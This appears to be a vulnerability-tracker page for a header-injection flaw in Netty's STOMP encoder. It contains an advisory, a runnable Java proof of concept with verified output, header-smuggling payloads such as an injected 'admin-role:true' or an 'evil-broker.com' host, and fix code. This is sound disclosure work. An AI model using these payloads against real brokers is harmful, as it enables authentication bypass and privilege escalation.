Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Network-accessible injection requiring low-privilege control of CONNECT frame header values; no confidentiality or availability impact - only header integrity is compromised.
Primary rating from Vendor (https://github.com/netty/netty).
CVSS VectorVendor: https://github.com/netty/netty
Lifecycle Timeline
3Blast Radius
ecosystem impact- 75 maven packages depend on io.netty:netty-codec-stomp (3 direct, 72 indirect)
Ecosystem-wide dependent count for version 4.2.0.Final.
DescriptionCVE.org
Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-stomp) |
| Component | io.netty.handler.codec.stomp.StompSubframeEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |
| Impact | STOMP Header Injection / Authentication Bypass |
| CVSS 3.1 Score | 6.5 (Medium) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | None |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
io.netty.handler.codec.stomp.StompSubframeEncoder-encodeHeaders()method (lines 174-200)io.netty.handler.codec.stomp.StompSubframeEncoder-shouldEscape()method (lines 214-216)
3. Vulnerability Description
The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.
Root Cause
In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:
private static boolean shouldEscape(StompCommand command) {
return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}When shouldEscape() returns false, header values are written without any escaping (line 195):
CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output
buf.writeByte(StompConstants.LF);For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.
STOMP Specification Context and Security Analysis
The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.
However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:
- Escaping = converting
\nto\\nin the wire format (spec says: don't do this for CONNECT) - Validation = rejecting header values that contain
\n(spec does not prohibit this)
Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed - no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.
This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.
Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice - but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.
Summary: The vulnerability exists because:
- Header values in CONNECT frames are neither escaped nor validated for newlines
- A raw newline in a header value creates a new header line on the wire
- The STOMP broker parses each line as a separate header
- The fix should validate (reject
\n) rather than escape (convert\nto\\n), maintaining spec compliance
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
- The application uses Netty's
codec-stompmodule to encode STOMP frames - User-controlled input is placed into header values of a
CONNECTorCONNECTEDframe - The application does not perform its own newline sanitization
- The downstream STOMP broker processes the injected headers (broker-dependent)
Typical affected use cases:
- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames
5. Attack Scenarios
Scenario 1: Authentication Bypass via Header Injection
An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");Wire format sent to broker:
CONNECT
host:localhost
login:guest
passcode:password
admin-role:true <-- INJECTED HEADER
<-- Empty line (end of headers)
\0The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.
Scenario 2: Subscription Hijacking
frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).
Scenario 3: Header Overwrite
frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");Wire format:
CONNECT
login:user
login:admin <-- INJECTED, may override first
...Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.
6. Proof of Concept
Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;
import java.nio.charset.StandardCharsets;
/**
* PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
*
* Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
* CONNECTED commands, allowing \n injection in header values to create
* additional STOMP headers.
*/
public class StompConnectHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");
testConnectHeaderInjection();
testConnectVsOtherCommand();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: CONNECT command header injection via \n in value
*/
static void testConnectHeaderInjection() {
System.out.println("[TEST 1] CONNECT Header Value Injection");
System.out.println("-----------------------------------------");
// Craft a CONNECT frame with \n in passcode value
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
headers.set(StompHeaders.LOGIN, "user");
headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input passcode: \"password\\nadmin-role:true\"");
System.out.println();
System.out.println("Encoded STOMP frame:");
System.out.println("---");
// Show with visible control chars
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0"));
}
System.out.println("---");
// Check if the injected header appears as a separate line
boolean hasInjectedHeader = false;
String[] lines = encoded.split("\n");
for (String line : lines) {
if (line.startsWith("admin-role:")) {
hasInjectedHeader = true;
break;
}
}
System.out.println();
System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
System.out.println("VULNERABLE: " + (hasInjectedHeader ?
"YES - Header injection in CONNECT frame!" : "NO"));
// Count actual STOMP headers (lines between command and empty line)
int headerCount = 0;
boolean inHeaders = false;
for (String line : lines) {
if (line.equals("CONNECT")) {
inHeaders = true;
continue;
}
if (inHeaders && line.trim().isEmpty()) break;
if (inHeaders && line.contains(":")) headerCount++;
}
System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
System.out.println("Actual headers: " + headerCount);
System.out.println();
}
/**
* Test 2: Compare CONNECT (no escape) vs SEND (with escape)
*/
static void testConnectVsOtherCommand() {
System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
System.out.println("--------------------------------------------");
String maliciousValue = "value\ninjected:evil";
// Test CONNECT (no escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Raw \\n in output: " + hasRawNewline);
System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
}
System.out.println();
// Test SEND (with escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.DESTINATION, "/queue/test");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Escaped \\n: " + hasEscapedNewline);
System.out.println(" Raw \\n: " + hasRawNewline);
System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
}
System.out.println();
}
}How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
java -cp "$JARS:." StompConnectHeaderInjectionPoCPoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty STOMP CONNECT Header Injection PoC ===
[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: "password\nadmin-role:true"
Encoded STOMP frame:
---
CONNECT
host:localhost
accept-version:1.2
login:user
passcode:password
admin-role:true <-- INJECTED HEADER
\0
---
Injected 'admin-role' appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers: 5
[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom="value\ninjected:evil":
Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
Raw \n in output: true
VULNERABLE: YES
SEND frame with custom="value\ninjected:evil":
Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
Escaped \n: true
Raw \n: false
SAFE: YES
=== PoC Complete ===Key Observation
The PoC demonstrates a clear inconsistency:
- CONNECT command:
\nis written raw → header injection succeeds - SEND command:
\nis escaped to\\n→ header injection prevented
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Authentication | Injected headers may bypass broker authentication logic |
| Authorization | Role escalation via injected role/permission headers |
| Integrity | Modification of connection parameters (host, version, etc.) |
| Broker-Specific | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |
Affected Brokers
This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:
- RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
- ActiveMQ: May process custom headers for internal routing
- Custom Brokers: Most likely to be affected if they trust all received headers
8. Remediation Recommendations
Option 1: Validate CONNECT Header Values (Recommended)
Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:
private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
StompCommand command = frame.command();
ByteBufUtil.writeUtf8(buf, command.toString());
buf.writeByte(StompConstants.LF);
boolean shouldEscape = shouldEscape(command);
for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
CharSequence headerKey = entry.getKey();
CharSequence headerValue = entry.getValue();
if (shouldEscape) {
headerKey = escape(headerKey);
headerValue = escape(headerValue);
} else {
// For CONNECT/CONNECTED: don't escape but REJECT newlines
validateNoNewlines(headerKey, "header name");
validateNoNewlines(headerValue, "header value");
}
ByteBufUtil.writeUtf8(buf, headerKey);
buf.writeByte(StompConstants.COLON);
ByteBufUtil.writeUtf8(buf, headerValue);
buf.writeByte(StompConstants.LF);
}
buf.writeByte(StompConstants.LF);
}
private static void validateNoNewlines(CharSequence value, String type) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\n' || c == '\r') {
throw new IllegalArgumentException(
"STOMP CONNECT " + type + " contains illegal newline at index " + i);
}
}
}Option 2: Apply Escaping to All Commands
Simply remove the CONNECT/CONNECTED exception:
private static boolean shouldEscape(StompCommand command) {
return true; // Always escape
}Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.
9. References
AnalysisAI
Header injection in Netty's StompSubframeEncoder allows low-privileged network attackers to embed arbitrary STOMP headers into CONNECT and CONNECTED frames by supplying newline characters in header values. Affecting netty-codec-stomp prior to 4.1.136.Final and 4.2.x before 4.2.16.Final, the encoder deliberately skips the escape() function for CONNECT frames per STOMP 1.2 backward-compatibility requirements but neglects to reject raw newline characters, conflating 'no escaping' with 'no validation.' A fully functional proof-of-concept is publicly available and confirmed against Netty 4.2.12.Final; no public exploitation in the wild (CISA KEV) has been confirmed at time of analysis.
Technical ContextAI
Netty is a Java asynchronous network application framework; the affected Maven artifact is io.netty:netty-codec-stomp. The vulnerable code resides in StompSubframeEncoder.java: the shouldEscape() method (lines 214-216) returns false for StompCommand.CONNECT and StompCommand.CONNECTED to comply with STOMP 1.2 Section 10 (Value Encoding), which mandates that these frames not use escape notation for backward compatibility with STOMP 1.0 clients. However, when shouldEscape() is false, the encodeHeaders() method (lines 174-200) writes raw CharSequence values directly to the output ByteBuf without any character filtering, so a literal newline (\n) in a header value creates a new header line on the wire. CWE-93 (Improper Neutralization of CRLF Sequences) is the root cause: the spec prohibits escape notation but does not require implementations to accept malformed values containing raw newlines. An analogous Netty flaw (GHSA-jq43-27x9-3v86, SMTP command injection) was resolved by adding CRLF validation without altering escaping behavior, establishing a clear precedent that was not applied to the STOMP codec.
RemediationAI
Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final (for 4.1.x deployments) or 4.2.16.Final (for 4.2.x deployments); both releases add newline validation to CONNECT/CONNECTED frame header encoding without altering STOMP 1.2 spec compliance. Release artifacts are available at https://github.com/netty/netty/releases/tag/netty-4.1.136.Final and https://github.com/netty/netty/releases/tag/netty-4.2.16.Final. If immediate patching is not possible, applications must sanitize all user-supplied values before placing them into STOMP CONNECT frame headers - specifically stripping or rejecting raw \n and \r characters at application ingress. STOMP proxy and gateway applications that forward user credentials or custom headers into CONNECT frames are the highest-risk deployment pattern and should be prioritized. Note that rejecting malformed values (rather than escaping them) is the spec-compliant fix; escaping newlines in CONNECT frames would break STOMP 1.0 client compatibility.
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View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Not-Affected |
| SUSE Manager Proxy 4.3 | Not-Affected |
| SUSE Manager Proxy 4.3 | Not-Affected |
| SUSE Manager Retail Branch Server 4.3 | Not-Affected |
| SUSE Manager Retail Branch Server 4.3 | Not-Affected |
| SUSE Manager Server 4.3 | Not-Affected |
| SUSE Manager Server 4.3 | Not-Affected |
| SUSE Enterprise Storage 7 | Not-Affected |
| SUSE Enterprise Storage 7 | Not-Affected |
| SUSE Enterprise Storage 7.1 | Not-Affected |
| SUSE Enterprise Storage 7.1 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Module for Development Tools 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Not-Affected |
| SUSE Manager Proxy 4.1 | Not-Affected |
| SUSE Manager Proxy 4.1 | Not-Affected |
| SUSE Manager Proxy 4.2 | Not-Affected |
| SUSE Manager Proxy 4.2 | Not-Affected |
| SUSE Manager Retail Branch Server 4.1 | Not-Affected |
| SUSE Manager Retail Branch Server 4.1 | Not-Affected |
| SUSE Manager Retail Branch Server 4.2 | Not-Affected |
| SUSE Manager Retail Branch Server 4.2 | Not-Affected |
| SUSE Manager Server 4.1 | Not-Affected |
| SUSE Manager Server 4.1 | Not-Affected |
| SUSE Manager Server 4.2 | Not-Affected |
| SUSE Manager Server 4.2 | Not-Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.5 | Not-Affected |
| openSUSE Leap 15.5 | Not-Affected |
| openSUSE Leap 15.6 | Affected |
| openSUSE Leap 15.6 | Not-Affected |
| openSUSE Leap 15.6 | Not-Affected |
| suse/manager/5.0/x86_64/server suse/multi-linux-manager/5.1/x86_64/server suse/multi-linux-manager/5.2/x86_64/server | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50424
GHSA-3g8r-4pfx-jmfh